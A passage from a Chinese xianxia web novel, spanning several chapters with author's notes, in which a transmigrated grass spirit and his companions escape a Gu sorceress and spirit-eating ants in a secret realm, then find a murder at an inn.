燕黎舟面上笑容不变,余光却飞快瞥过两道的土壁,寻找着任何可能逃走的缝隙或是有什么机关拖延时间。 “只是突然想起一件要紧的事,必须先在立刻去办。蛊娘子若无事,不如改日……” “要紧事?”蛊娘子打断他,又上前一步,把燕黎舟刚刚好不容易往后推开的距离拉回来。 两人的距离很近,她身上传来一股很淡的混合着各种奇异花香的味道。 “比躲我还要紧吗!” 蛊娘子笑容加深,指尖缝里还有着上个人干涸了的血迹,手一转狠狠抓住燕黎舟的手腕。 “阿哥是不是忘了,我们之间的约定!” 燕黎舟头皮发麻,什么约定,不是他啊,要死了要死了! 就在他思考着如何搪塞蛊娘子时。 “前辈!” 谢灯的声音从远处传来,同时伴随着越来越近的脚步声。 “前辈可是找不到出去的路了?” 燕黎舟心里顿时咯噔一声,暗道不妙。一个蛊娘子已经很难应付了,再加上谢灯这个男主……场面只怕要更乱。 天道这是要他当着男主面死,然后蛊娘子被男主收入手下,展开一场以他死亡展开的一场虐恋py吧! 蛊娘子侧头,看着一旁缓缓走过来的谢灯和阿阮,眉头轻轻一蹙,随即又展颜一笑。 “阿哥这是有了新的朋友?” “所以不要蛊娘子了?” 她的目光在谢灯俊朗帅气的脸和阿阮精灵古怪的眉眼上一扫而过,尤其在阿阮,在看着她满头的蓝色发带,眼底闪过一丝异样。 谢灯快步走到近前,先是警惕地看了一眼气息诡异的蛊娘子,然后对燕黎舟道:“洛师叔说你有危险,让我来找你。” “他那边还要一点时间。” 谢灯手按上腰间的剑柄,挡在燕黎舟面前。 阿阮好奇地打量着蛊娘子,小声嘀咕:“这个姐姐好漂亮,但是总感觉有点怪怪的……” 蛊娘子听着阿阮天真烂漫的评价,嘴角的笑意更深了些,却莫名更冷了。 她重新看向燕黎舟,因为谢灯的出现,使她和她的阿哥隔开了好长一段距离。 语气轻柔,但危险:“阿哥,不和阿妹介绍一下你的朋友?” 燕黎舟一个头两个大。前有蛇蝎,后有……呃,也不好说是虎狼还是小白兔。他正绞尽脑汁想找个说辞。 “咔嚓……” 一声极轻微的、仿佛冰层碎裂的细响传来。 紧接着,一股更加凛冽的寒气漫溢而至,通道土壁上瞬间凝结成一层薄薄的霜 蛊娘子脸色变得有些严肃,转头。 只见洛不觉正缓步从主室那边走来,周身寒气环绕。 手中乌铁外的冰完全消退干净,露出里面黑色的金属本体,但其散发出的低温却更加恐怖。 身后公羊胜已经解决掉了自己石化,跟在洛不觉身后,洛不觉一步赶得上他一步半,他搁后面一路小跑着跟着。 蛊娘子眯起眼,打量着洛不觉,眼神里第一次露出了明显的忌惮。 她下意识地后退了半步,那些银饰的响声也收敛了许多。 燕黎舟抓住这瞬息的机会,猛地朝谢灯和洛不觉的方向冲过去,口中急急道:“没事了没事了!都是老朋友叙旧!” 他抓住洛不觉的袖子,猛的呼吸了几下,对方身上的檀香气味让他觉得有些安心。 “此地不宜久留,咱们快走!” 他几乎是手脚并用地想从蛊娘子身边溜过去的。 蛊娘子脸色一沉,袖中似乎有什么东西滑落入手心。 但洛不觉的目光恰在此时冷冷地瞥了过来。 那眼神里没有任何情绪,但却让人呼吸莫名一紧。 蛊娘子的动作瞬间僵住了。 燕黎舟忙不迭地紧随其后,根本不敢回头看蛊娘子的表情。 脚步声和银饰极其轻微的摇动声在身后响起,蛊娘子的声音同时幽幽传来,带着一丝冰冷的笑意。 “阿哥……” 燕黎舟脚下一个趔趄,拉着几个人跑得更快了。 黑漆漆的通道很快吞掉了几个人的身影,只留下弥漫的寒气和站在原地面色晦暗不明的蛊娘子。 她低头,看着掌心一只通体漆黑,还在微微振翅的蛊虫,缓缓合拢了手指。 清脆的铃声再次轻轻响起,融入黑暗。 “会再见的……” “一定会的!” “别想甩掉我,燕郎!” “好像快到出口了。”阿阮踮着脚往前看,脑袋上亮蓝色的发带随着她的动作轻轻晃动。 没人回答,洛不觉盯着燕黎舟,后者有些心神不宁,时不时侧耳倾听着身后的动静,生怕蛊娘子追上来。 不过心虚地避开洛不觉也是关键,他一时不知道该说些什么。 “咳……” 外面已经黄昏,近处的树林笼罩在柔和的夕阳里,宁静平常。 “总算出来了!”阿阮欢呼一声,张开手臂在原地转了个圈,深吸一口气,好像不是她闹着非要下去一样。 谢灯静静地看着不说话。 谢灯朝着洛不觉和燕黎舟告别,燕黎舟想说些什么,最后也只是挠了挠头。 等到两人走后,洛不觉才看着燕黎舟道:“我打得过她。” 燕黎舟被这句话哽了一下,看着洛不觉的眼睛,半天也只憋出来一句:“……不要总打打杀杀的,这样不好。” “她为什么喊你燕郎,你……相好?” 不知道为什么,燕黎舟听着这话十分有十二分的不对劲。 “嗯……她脑子有病,看见谁都叫郎君。” “那她为什么知道你姓燕?” “她知道吗?” “嗯,她叫了。” 燕黎舟有些大脑不连接小脑,只想着把洛不觉糊弄过去。 眼见糊弄不过去,燕黎舟脑子一抽,干硬地夸赞:“你今日……格外的帅气哈。” 他说完就觉得大脑一空,理智回笼,自己都愣住了,心里哀嚎一声:我在说些什么东西啊! 洛不觉也愣住了,他微微偏头,空气安静了一瞬。 旁边的公羊胜:“……” 这俩人在说些什么东西啊? 就在燕黎舟准备再胡诌点什么补救时,洛不觉却淡淡地移开了视线,他好像很平静地就接受了,然后又转回话题。 “她看你的眼神……” 燕黎舟刚松下去的半口气又提起来,他直接把洛不觉没说完的话堵回去,“真的,你信我,我自从成人之后就跟了你,哪里有时间去找别人?” 公羊胜:“???” 好别扭,但说不出来是哪里别扭。 “嗯。”洛不觉应了一声,脸上没什么表情,接受了。 “下次她再找你,我可以帮你拦着。” “那个……” 公羊胜打断他们的对话,他觉得自己要是不打断,可能这得耗到晚上。 “要是没什么事,我要先回家了。” 就在这时,周遭却突然传来一声兽吼以及刀剑的打斗声。 燕黎舟眉头一皱,洛不觉伸手将他护在身后,打斗声越来越近。 “洛师弟!” 一个有些狼狈的身影率先冲出密林,面容俊朗,看见几人眼里闪过一丝惊讶。 燕黎舟看见这被妖兽追着的人,同样心里吃惊,汲子石怎么在这? 突然像是想到了什么,他看了眼四周,这不会就是汲子石陨落了的那个秘境吧。 这全都乱套了啊! 洛不觉见到来人,拔出秋水剑就冲上去,公羊胜转身就跑,一眨眼只剩燕黎舟自己站在原地。 洛不觉腰间的晋绳冲出来,飞快的捆住公羊胜的腰,把人重新拽回来。 然后绳子的另一端乖乖落到燕黎舟手上。 “……” 公羊胜咬牙,伸手抓住燕黎舟的胳膊。 “真是怕了你了!” 他说完,两人就已经离战场老远了。 公羊胜边跑边得瑟吹嘘自己。 “我虽然武力值不行,但轻功还是很好的!” 燕黎舟整个人在公羊胜手里是僵直的,“我恐高,你慢点,慢点!” “啊?哦哦哦。” 公羊胜估摸了一下距离,觉得可以,找了个草丛把燕黎舟扔进去。 “呕……” 公羊胜挠了挠头:“啧。” “你这被我带出来了,你那相好的咋跟你汇合啊。”—— 作者有话说:今日份更新[加一] 最近现实生活任务多,有点累,写的部分又刚好卡在了剧情上,卡文卡到崩溃 不过大家不用担心,会尽力日更,不离不弃! 么么么么么么么! 爱你们( ??ω?)ノ(._.`) (我累累的,让你们摸摸我的脑袋吧,蹭蹭蹭!) 第33章 “相好的?” 燕黎舟缓了缓, 疑惑地抬了下头。 “呕……” “啧。”公羊胜不动声色后退一步。 “什么相好的?”燕黎舟缓了缓,脑子里涨的疼。 “刚刚那个穿白色衣服的啊,不是你相好的吗?” “不是……” 燕黎舟满脸黑线, 奇怪公羊胜为什么会将自己和洛不觉理解为一对, 且不说洛不觉那样一个冰块修的是无情道, 再者说他俩都是男人, 怎么在一起? “你为什么不认为我和那个蛊娘子是一对反倒是洛不觉?”燕黎舟真是奇怪。 公羊胜思考了一下, 对自己没由来的感觉也说不上来,反问:“那个女人和你一对啊?” “不是!” 公羊胜被他这样一说, 反倒是摸着下巴, 眼睛不怀好意地眯起来。 “不是吗?” 他拖长了调子,慢悠悠地绕着燕黎舟走了半天,“我瞧着你和他那样子可不像是‘不是’的样子啊。” 燕黎舟感觉胃里面还在翻搅, 脑子也嗡嗡的,闻言只觉得荒谬。 “……什么样子?洛不觉跟谁不是这个样子?” “洛不觉看谁不跟块石头?”能有什么不一般? “啧,你这个人真没意思。”公羊胜耸了耸肩。 “石头砸水里也能听个响呢,总之就是……” 话没说完, 又被燕黎舟一声干呕打断。 燕黎舟跪在地上, 脸色青白, 也不知道是因为害怕还是因为公羊胜的话。 “闭嘴吧,他那叫教养好!再说了,两个男人……”燕黎舟蹙眉。 “两个男人怎么?”公羊胜挑眉,像是听到了什么稀奇话。 “是我待在着秘境里时间太久了, 跟不上外面的世界了吗?” 他别有深意地看了眼燕黎舟,环胸抱臂轻哼:“我就那么一问,你反应这么大干嘛?” “心——虚?” “我虚个屁!”燕黎舟猛地站直,眼前忽的一阵发黑, 晃了晃才勉强站稳。 “你少在这里胡扯八道,坏他修行,他要是知道了,一剑能给你和我串一串。” 公羊胜哈哈大笑,拍了拍他的肩膀,“好好好,我不说了。不是相好的,行了吧?” 他话是这么说,可那眼神里的戏谑却没减少半分,分明是不信。 燕黎舟懒得与他争辩,只觉得跟这老狐狸精扯下去没完没了。 他揉着有些发痛的额角,现在只想找个地方躺下。 他盯着脚边的植物,公羊胜的话在他脑海里挥之不去,气的他抬手给了公羊胜一拳,不过自然是被对方躲掉了。 燕黎舟拍了拍自己还在激烈跳动的胸口,脑袋一痛,下意识皱眉。 但很快就消失了,只以为是刚刚太高了,身体正常反应。 “哎,能不能把这鬼玩意解开!” 公羊胜没好气地指了指腰间上的红绳,一端被燕黎舟牵在手里,给遛兽宠一样。 燕黎舟不会用,死马当活马医地扯了扯。 “解不开。” 下一秒,晋绳松开了公羊胜,安安静静缩小,盘在燕黎舟手腕上。 “……” 两人在原地等了一会儿,洛不觉和汲子石还没找过来。 燕黎舟拍了拍膝盖从石头上站起来。 “去哪?” 公羊胜找到一堆可以吃的小果子。 燕黎舟:“出去,不等了。” “他估计迷路了。” “直接出去找掌门给他发讯息比在这干巴巴地等来得快。” 公羊胜直接把果子扔了,走过来,看着燕黎舟激动道:“你知道出去的办法!” 他在这秘境了困了一百多年了,现在知道能出去,肯定激动。 燕黎舟想了下原著里的办法,又看看面前一脸期待得盯着他的公羊胜。 “好像不能。” 他没有主角的机遇,没有桃花帮他。 公羊胜被泼了盆冷水,瞬间凝固。 “……耍我玩呢?”他声音低沉下去,带着一丝危险的味道,“小子,拿这种事开玩笑,可是会死人的。” 燕黎舟硬邦邦地顶回去:“谁耍你了?我只是说‘我要出去’,又没说‘我一定能出去’” “嘿!”公羊胜气笑了,撸了撸袖子。 “困在这鬼地方一百年,听到这种话谁能不激动?你这就是欠揍!” 两人马上就要掐起来,燕黎舟却忽然猛地抬手按住自己的太阳穴,眉头紧紧锁在一起。 一阵阵的钝痛,仿佛有什么东西在他脑子里用力搅动了一下。 同时,心脏也猛烈地跳动起来,带来一阵窒息感。 “你干嘛?装可怜?” 公羊胜狐疑地看着他,但见燕黎舟脸色确实有些发白,不似作伪。 那阵不适感来得快,去得也快,但残留的感觉依旧让燕黎舟呼吸有些急促。 他甩甩头。 “喂,发什么呆?”公羊胜也察觉到他神色不对,伸手摇了摇他。 “没事……” 燕黎舟缓过来,之前洛不觉就和他说过,自己可能会头疼。 刚刚一瞬差点以为自己死掉了。 没想到会痛的这么厉害。 “那现在怎么办。” 公羊胜眯着眼打量了下燕黎舟,确认没事之后,轻哼一声。 “年纪轻轻毛病不少。啧,看来指望你是指望不上了,还是得靠老子自己找路……” “我也指望不上,一百多年也没找着路。” “洛不觉肯定知道。”燕黎舟看他那消极的模样,开口。 公羊胜挠了挠头:“这不是找不着嘛!” “你知道这个秘境多大吗?你那个相好的出去了在外面又找了个你都不知道!” 看着燕黎舟面无表情的脸,翻了个白眼:“不是你相好的,行了吧。” 他虽然抱怨,但也一边习惯性地释放出一丝极细微的灵力,扫过四周。 这是他百年来摸索出的笨办法,时间一长,他感知能力也是顶顶的了。 想着万一能找到那俩人呢,遇到其他人也是好的呀。 一切都和平常无异。 但当灵力经过燕黎舟周围时,感知的气息却有些不一样。 非常古怪,和一般的修士不一样的。 公羊胜猛地扭头,像是第一次认识燕黎舟一样,眼睛瞪得溜圆,手指着他,声音都变了调。 “你,你你你……你不是人!” 燕黎舟环胸,上下扫了公羊胜一眼,有些嫌弃并且自我怀疑:“我似乎没怎么你吧。” 公羊胜那一声变了调的音,不知道的还以为燕黎舟怎么他了。 “不是!”公羊胜气急,这人真是! 不对!是这妖! “你是妖怪!” 燕黎舟皱眉,有些不明所以地歪头:“所以呢?” 他思考两秒:“我是小草,最帅气的那棵……” 公羊胜这时突然反应过来,自己为什么要跟这个人乱废口舌,拔腿就要跑。 这时,缠在燕黎舟手腕上的晋绳又忽的变长,缠住公羊胜。 强大的拉力将公羊胜硬生生拽了回来,差点摔个趔趄。 “操!”公羊胜气得破口大骂,使劲去扯那晋绳,怎么也挣不开。 “你他么给它下蛊了?!” 燕黎舟一脸无辜:“你跑什么?” 公羊胜简直无语问苍天,恨不得把这破绳子和眼前这草精一起剁了。 “我为什么跑?你是妖怪!” “我不跑难道和你这个妖怪在一起吗?” 燕黎舟:“为什么不能,我又没有伤害你。” 公羊胜跑不掉,手上又扯了两下晋绳,认命了。 听见燕黎舟的话又反驳:“你是妖怪,我是人类,天生就不对付。” “你现在没动,之后呢,谁知道你会不会搞偷袭呢。” 燕黎舟皱着的眉一直没松开,听着公羊胜讲着他们的水火不容,嘴一直停不下来。 有些沉默,虽然确实知道会除妖,但是……不是…… 可洛不觉就没有这样,他就很好。 虽然他除妖,但是他知道自己是小草后也没有这样的反应啊。 就在这时,四周突然响起一阵窸窸窣窣的声音。 刚才公羊胜那丝探查灵力惊动了“原住民”。 只见地面上无数只指甲盖大小,通体通红的蚂蚁从叶子底下翻了上来。 树干上,岩石缝隙里,低垂的枝条上。 它们直直冲向场中灵力波动最明显的公羊胜! “食灵蚁!娘的,惹上大麻烦了!”公羊胜脸色唰地白了,显然认得这群玩意儿。 “这鬼东西专啃灵力,沾上就甩不掉!” 公羊胜手忙脚乱,眼看就要被蚁群爬满全身。 他眼角瞥见旁边的燕黎舟居然还傻站在原地,既没逃跑也没帮忙,气得他肝疼。 一边手忙脚乱地拍打身上的蚂蚁一边怒吼。 “你他么傻站着等死啊?还不快跑!等着给老子收尸然后它们再来啃你这块木头吗?!” 燕黎舟看着眼前密密麻麻的蚂蚁,又低头看了看自己这具毫无灵力波动的手,眨了眨眼,非常光棍地一摊手。 “跑什么?我又没有灵力。” 仿佛为了验证他的话,几只顺着地面爬到他鞋面上的食灵蚁,在他裤腿上疑惑地探了探。 随即毫不犹豫地转身离开,继续疯狂地涌向公羊胜那个“人形食物”。 在经过时蚁潮自动分流,完美地绕开了站在那里的燕黎舟。 公羊胜:“???” 公羊胜愣了一秒,看着在蚁群中独独空出来地方给燕黎舟站,又看看自己身边里三层外三层疯狂进攻的食灵蚁 “我@#¥%……&*!!!” 一连串极其污秽,足以让听得懂人话的妖魔都脸红羞愧的脏话从公羊胜嘴里爆发出来。 他骂天骂地骂秘境骂晋绳,最后把所有火力都集中在了燕黎舟身上。 “晦气,遇上你这晦气的草精没个好事!在这里一百年都没碰上这么多食灵蚁!你他么就是个灾星!站着说话不腰疼!没灵力你很得意吗?!等它们吸干老子下一个就轮到你!把你啃得连根都不剩!@#&*¥%……!!” 燕黎舟默默地往旁边又挪了两步,远离了唾沫横飞且蚁群密集的区域。 公羊胜随着晋绳被拽离了一点,下一秒蚁群又跟着缠了上来,跑都跑不了。 此刻他最引以为傲的轻功半点用没有。 公羊胜顿时憋屈得差点一口老血喷出来,骂得更脏了,但手上的动作却不得不更加拼命。 他现在唯一的念头就是:等老子脱困,第一件事就是把这破绳子烧了! 第二件事就是把这只草精折吧折吧当柴烧! 就烧这破绳子!!!—— 作者有话说:虽然发布了,但码了0个字。[化了] 我努力明天争取把今天的任务补回来,试试码两章,存稿真的撑不住了。 好困,我撑不住了。明天的我辛苦你啦! 大家也要早点睡哦~么么[亲亲] 第34章 公羊胜眼见自己的屏障就要被这群蚂蚁撕扯破, 情急之下也顾不得什么脸面了。 他猛地一提气,脚下三跳两跳,如同一只猴子竟一下子蹿到了燕黎舟的背上, 双臂死死箍住燕黎舟的脖子, 双腿盘在他的腰上, 整个人挂得结结实实! “我槽!” 燕黎舟被这突如其来的重量压得一个趔趄, 差点扑倒在地, “公羊胜你他么给我下来!” 那些原本疯狂涌向公羊胜的食灵蚁,此时只能焦躁地在两人脚边打着转, 对着公羊胜的方向蠢蠢欲动, 却又明显不愿上前。 公羊胜松了口气,少数几只沾到后还死死咬在他衣服上的蚂蚁被他迅速拍掉。 他挂在燕黎舟背上,刚喘了两口气, 就毫不客气地嘲笑起来,下巴搁在燕黎舟头顶。 一只手扼住燕黎舟的喉咙,一只手指着地上的食灵蚁。 “哈哈哈哈哈!看见没草精!”他得意地晃了晃身子,引得燕黎舟又是一阵摇晃。 “连这秘境里没脑子的虫子都嫌弃你!你这草精到底是有多招人烦?啊不对, 是招虫烦!” 燕黎舟脸都黑了, 使劲想把背上这块牛皮糖甩下来:“滚下去!你重死了!” “不下!打死也不下!” 公羊胜抱得更紧了, “底下全是虫子!老子才没那么傻!不过你这背也太硌人了点。” 他甚至还有闲工夫吐槽,伸手拍了拍燕黎舟的肩膀,指挥道。 “喂,草精, 往前走两步试试?看看它们跟不跟?” 燕黎舟气得想打人,但奈何公羊胜胳膊箍得死紧,他根本甩不脱。 他咬着牙,恶声恶气地道:“你再不下来, 信不信我直接往蚁堆里面躺?” “你敢!”公羊胜嘴上威胁,心里却有点虚。 这妖怪脑子都是一根筋,说不定真干得出来。 想着他连忙又加了把力气锁喉,“老实点!现在是你背着老子,老子说了算!” 燕黎舟不爽地“啧”了一声,下一秒,手腕上的晋绳发力,将公羊胜从他身上提溜起来。 最终停在空中。 燕黎舟看着公羊胜被吊着,四肢离地,像个被鱼线钓起的大王八,晃晃悠悠的,忍不住笑。 “哈哈哈哈哈哈哈。” 公羊胜气恼着手脚在空中滑稽地扑腾了两下,最后看着下方的燕黎舟,愤愤咬牙,轻骂。 “破绳子!” 地面上食灵蚁群焦躁地围着公羊胜下面的这片区域打转。 人被吊在离地半人高的空中,它们够不着,但也没离开。 最终蚁群失去了耐心。 几只体型格外硕大,甲壳乌黑发亮的兵蚁突然人立而起。 周围的食灵蚁像是得到了指令,它们没有靠近燕黎舟,而是如同叠罗汉一般,互相攀爬挤压,砌起一座不断升高的“蚁塔”。 “我槽!你们他么也没必要这么喜欢我吧?!” 公羊胜看着那不断逼近的黑色蚁塔,脸都绿了,在空中挣扎得更厉害了。 “草精!草哥!算我求你了行不行?快走,别搁这待着了!” “这样下去小弟真的会变成人干了的!” 燕黎舟也没想到这些蚂蚁这么聪明。 他看着那不断增高的蚁塔和公羊胜吓得发白的脸,也知道这不是开玩笑的。 连忙后退好几步。 晋绳微微松动了一下,公羊胜顿时下降了一小段高度,离那几乎要够到他鞋底的蚁塔尖尖更近了! “啊啊啊!太低了太低了!拉上去拉上去!别放下来!”公羊胜吓得哇哇大叫,四肢乱挥。 燕黎舟拿出自己体测的一千米的速度往外跑,等到跑出蚁群包围圈后,公羊胜才被放下来。 改换他拉着燕黎舟跑。 终于甩掉那群鬼东西后,燕黎舟和公羊胜对着喘,两人话都说不出来,晋绳松开公羊胜,绕到燕黎舟背后拍了拍他。 燕黎舟感觉自己肺里火烧一样的难受,忍不住干呕几声。 公羊胜喘着气瞥他一眼:“……” 后面大部分都是他拉着这草精跑,他喘这么厉害,果然废物。 燕黎舟感觉到公羊胜伸手拍了怕他的肩膀,挤出一个比哭还难看的笑。 “下……下次还跟你!” “……滚。” 燕黎舟现在只觉得自己浑身骨头都快散架了,这老小子逃起命来是真不顾别人死活。 他看了眼四周,原本的树木丛林,现在光秃秃的。 “你这是跑了多远啊!” 燕黎舟皱眉叉腰问。 公羊公羊胜还没完全喘匀气,听到这话,先是得意地给自己竖了个大拇指,胸膛挺了挺。 “怎、怎么样,我就说我轻功牛吧!要不是拖着你这草精,老子能跑得更远!” 公羊胜喘匀了气,看着四周光秃秃的陌生环境,挠了挠脑袋。 “嘶……刚才光顾着跑,好像……是跑得有点偏了哈。” 燕黎舟没好气地白了他一眼:“现在是有点偏的问题吗?是完全迷路了!” 看着燕黎舟喘过气了之后在周围四处跑,公羊胜没忍住。 “你小心点,这里跟个洋葱一样,越往里越邪门。” “不知道怎么你就死了。” 没想到燕黎舟下一秒从灌木丛里揪出来两颗果子。 红红的,上面好像是用墨笔勾勒出来的漂亮线条。 “这能吃吗?” “能吃。” 燕黎舟看着掌心的两颗漂亮的果子,递给公羊胜一颗,另一颗随便擦了擦就要往嘴里放。 公羊胜只是看着,没接。 他一脸平静道:“只是吃了会死罢了。” “……” 张开的嘴又默默闭上。 燕黎舟看着自己身上的衣服,突然很想念洛不觉。 “你和你相好的没个联系的方式吗?” 不知道过去了多久,公羊胜忍不住道。 燕黎舟正拿着个树枝,在面前的土地上画画,旁边还摆了一堆不能吃的各种漂亮果子。 “……” 他能说压根就没想过他俩会分开好吗。 “都怪你。”半天他道。 “???”公羊胜指着自己,气了。 果然,妖怪没一个好心眼的,尤其是草精。 “你都在这里一百多年了,四舍五入也是你家了,怎么连路都不认得。” “怎么就四舍五入了!” “老子虽然不认得路,但我能避开很多危险的地方!你那个同伴,他应该也没傻到往那些绝地里钻,大概率还是安全的。” “当然,看他的实力,遇到危险了好像也不担心。” 燕黎舟闻言挺了挺胸:当然了,也不看是谁的金大腿! 他连忙追问:“那怎么判断哪些地方安全?” 公羊胜得意地哼哼两声,开始显摆他百年积攒的“经验”。 “首先,看树。叶子绿得正常,树皮没长人脸也没流黑水的,问题不大。” “其次,闻味道,没有怪香也没有腐臭,就是普通泥土草木味的,安全系数高。” “再有,听动静,鸟叫虫鸣得有,但不能是那种听着就让人心烦意乱或者想哭的调调……” 他一边说,一边像老猎人一样仔细观察四周,甚至还趴下来嗅了嗅地面的味道。 燕黎舟不是很信,但也只能死马当活马医。 两人像无头苍蝇一样在附近转悠了好一会儿。 “那为啥那些食灵蚁你没避开?”燕黎舟忽然问道。 “这……”公羊胜哽了一下,“凡事都有意外,意外嘛。” “啧。” 燕黎舟手腕上的晋绳突然动了动,缠上公羊胜的身子,一端飞到燕黎舟面前,绳子指了个方向。 被绑着的公羊胜向蛆一样扭动了两下,真诚道:“我走,我走,真的,我不跑!” 燕黎舟顺着晋绳指着的方向走。 晋绳一端用来给燕黎舟指方向,另一端则是时不时蹿过来,亲昵地蹭蹭燕黎舟的手腕,或者轻轻绕上他的小臂。 像是在邀功。 公羊胜被晋绳捆得严严实实,只能一蹦一跳地努力跟上燕黎舟的步伐,嘴里还不忘骂骂咧咧。 “成精了的没一个好心眼的!破绳子!臭草精!等老子脱困……哎哟!” 他蹦得太急,没注意脚下凸起的树根,差点摔个狗吃屎,全靠晋绳拽着才没真的脸着地。 公羊胜一边努力保持平衡一边翻白眼:“这破绳子邪门得很!它要不是看上你了,就是跟你那个相好的有点什么!” 燕黎舟懒得纠正他的用词,只是顺着晋绳的指引加快脚步。 又走了一段路,前方出现了一片开阔的林地,阳光温柔,周围祥和。 公羊胜抽了抽鼻子,点头道:“嗯,这地方味道正,没跑偏。” 就在这时,晋绳突然停止了向前牵引,而是猛地调转方向,绳头笔直地指向左侧不远处一棵需要三人合抱的巨大古树。 两人顺着方向望去,只见那古树的粗壮枝干上,正斜倚着一个人。 白衣如雪,气质清冷,不是洛不觉又是谁。 他似乎正在闭目养神,周身还隐隐有未散去的灵气波动,显然刚刚结束修炼或是调息。 阳光落在他身上,仿佛给他镀上了一层柔和的光晕,与周围宁静的环境融为一体,画面美好得不像话。 对比起一路麻烦不断,灰头土脸的燕黎舟和公羊胜,简直是天壤之别。 洛不觉睁开眼,燕黎舟不说他就从储物袋中带出来一套藕荷色的锦绣缎绸袍子,上面绣着的花纹繁琐,正是燕黎舟喜欢的款式。 甚至连头上挽发的发饰也有。 “啧。” 公羊胜没眼看。 此时身上的晋绳也自动松绑,“咻”地一下从公羊胜身上松开。 欢快地缠上了洛不觉的手腕,亲昵地蹭了又蹭,那姿态和刚才蹭燕黎舟时一模一样。 洛不觉手指轻轻抚过晋绳,那绳子立刻温顺下来,不再乱动,只是依旧紧紧贴着他不放。 “玩够了?”—— 作者有话说:差点忘了设置时间更新,从睡梦中猛的惊醒。 好消息!昨天累倒的一章补回来了! 虽然存稿依旧很着急吧![奶茶][奶茶] 今日更新[饭饭][加一] 么么么么么么么!大家晚安![哈哈大笑] 第35章 “汲子石长老呢?” 燕黎舟换完衣服出来问。 “先出去了。” “哦……” 燕黎舟闻言思考着, 原著里汲子石应该就是死在这场秘境里的。 现在人完好地出去了,剧情又偏了。 剧情发生偏离这样的事情,燕黎舟已经见怪不怪了, 事情越来越不对了。 应该是男主出现的时间比原著里早太多之后就全都不对了。 男主是, 洛不觉也是。 洛不觉伸手帮燕黎舟把头发束起来, 后者乖乖低头配合。 没办法, 他不会扎。 剪了二十三年短发人士的燕黎舟表示, 他真的很喜欢这些发饰,但是打理起来真的麻烦。 旁边公羊胜眯了眯眼睛, 浑身不自在, 总觉得自己不该出现在这的。 “那我们现在也出去吗?” 他故意打断这恶心的氛围,皮笑肉不笑。 “出去干嘛?” “桦城罗秘境百年才开一次,这要是不早出去, 被关里面了……” 公羊胜故意吓唬小草。 “就要在这里等上一百年!” 他猛地一拍手,发出响亮的声音,试图制造恐怖气氛。 “一百年!吃不到热乎饭,喝不到酒, 看不到漂亮姑娘!你受得了吗?” 燕黎舟和洛不觉只是两脸平静地“哦”了一声, 后者甚至连应声都没有。 他已经帮燕黎舟束好了头发, 动作熟练,让燕黎舟的每一根头发都待在它该在的地方。 公羊胜瞪大眼睛,差点没背过气去。 “哦一声就完了?” 他不可置信地来回指着两人,“一百年!关在这个秘境里!你们知不知道这意味着什么?” “意味着什么?”燕黎舟微微偏头, 嘴角勾着笑,也是真的好奇。 公羊胜猛地捂住胸口,做出一副痛苦表情。 “行行好,两位大爷, 一百年与世隔绝!没有乐子,没有说书,没有百味斋美食与佳酿,没有……” 他掰着手指头数着,越数越绝望,越发觉得自己可怜。 燕黎舟和洛不觉对视一眼。 “那正好。”燕黎舟说,语气里带着笑意。 他故意道:“清净。” “净个屁!”公羊胜彻底破防。 “我要吃香喝辣!我要繁华红尘!我要……我要出去看漂亮姑娘跳舞!” “哦,你喜欢这样啊。” 燕黎舟终于憋不住笑,满脸写着“你是这样的人”。 最后在公羊胜吃人的眼神下,轻轻拉了拉洛不觉的衣袖。 “不过,我们确实该出去了。” 尤其是燕黎舟想到秘境里还有个蛊娘子,浑身就渗得发慌。 洛不觉盯着他拽着自己衣服的手指,颔首:“嗯。” 三人依次踏出秘境后,公羊胜看着外面一百年没见到的热闹场景,几乎要热泪盈眶。 “哈哈哈哈哈哈哈!” “出来了!我真的出来了!”他夸张地张开手臂,还没开始呢就已经一脸陶醉。 “香喷喷的饭食!辣乎乎的酒!漂亮的姑娘……” 他的话卡在一半,因为洛不觉冷淡的目光扫了过来。 燕黎舟倒是没注意公羊胜的嚷嚷,他微微蹙眉,抬手轻轻按了按太阳穴。 “怎么了?” 洛不觉立刻察觉到他的异样,视线从公羊胜身上移开。 “没什么,”燕黎舟放下手,摇了摇头。 “不太适应这个传送阵。” 公羊胜对此翻了个白眼,决定眼不见为净,兴冲冲地指着不远处的道。 “走走走!去镇上,我要吃十碗白米饭,啃一只烧鸡,再喝一坛……” 他的声音再次戛然而止。 这次不是因为洛不觉,而是自己突然看见身旁似乎又极快地闪出了一道纤细窈窕的身影。 那身影快得如同错觉,连气息都收敛得干干净净。 但公羊胜确信自己没看错 他扭头看向燕黎舟和洛不觉。 那两人一个正低头检查自己的衣袖是否整洁,一个看着对方检查衣袖。 公羊胜眼珠转了转,把到了嘴边的话咽了回去,脸上慢慢浮现出一种看好戏的笑容。 桦城因秘境开启而比往日更加热闹,客栈几乎人满为患。 三人好不容易才要到最后两间上房。 “自然是我一间,你们一间。” 公羊胜抢先把一把钥匙塞给洛不觉,另一把挂在指尖转,满脸不怀好意。 “省得你们再去多要一床被褥,多麻烦。” 洛不觉面无表情地接过钥匙,没理会他的话。 燕黎舟则根本没听懂,还在认真思考:“其实再加一床被褥也不麻烦……” 洛不觉:“不用。” 燕黎舟:“哦。” 公羊胜憋笑憋得肚子疼。 是夜,华灯初点亮时。 三人在客栈大堂用了饭。 公羊胜如愿以偿地啃了烧鸡,喝了酒,虽然没看到漂亮姑娘跳舞,但心情甚好,多喝了几杯,话也越发多起来。 洛不觉几乎没动筷子,大部分时间都在安静地喝茶,不知道在想什么。 燕黎舟一边吃,一边将公羊胜夸上天去的烧鸡挑最嫩的部位,夹到洛不觉碗里。 酒足饭饱,公羊胜打着哈欠先上楼睡了。 剩下燕黎舟和洛不觉又多坐了片刻。 看着窗外的夜景,灯火阑珊,人流如织。 “还是外面热闹。”他轻声道。 “嗯。” 洛不觉应了一声,目光落在燕黎舟被茶水润泽过的唇上,又很快移开。 “喜欢?明日上街逛逛。” 翌日清晨,天才刚亮,街上甚至见不到几个人。 突然一声凄厉至极的尖叫划破了客栈的宁静。 公羊胜宿醉未醒,被这叫声惊得直接从床上滚了下来,脑袋磕在床沿,“嗷”的一声彻底清醒。 他捂着额头骂骂咧咧地拉开门,正要发作,却见走廊另一端已聚了不少人,人人面色惊惶,对着地字叁号房指指点点。 浓郁的血腥味弥散在空气里。 洛不觉的房门几乎在尖叫响起的同时便打开了。 他已穿戴整齐,不见半分睡意,显然早已起身。 他将下意识要探头出来的燕黎舟拦回房内,低声道:“待在屋里,别出来。” 说罢,洛不觉反手带上房门,快步走向人群聚集之处。 公羊胜也意识到不对,揉着额头跟了过去。 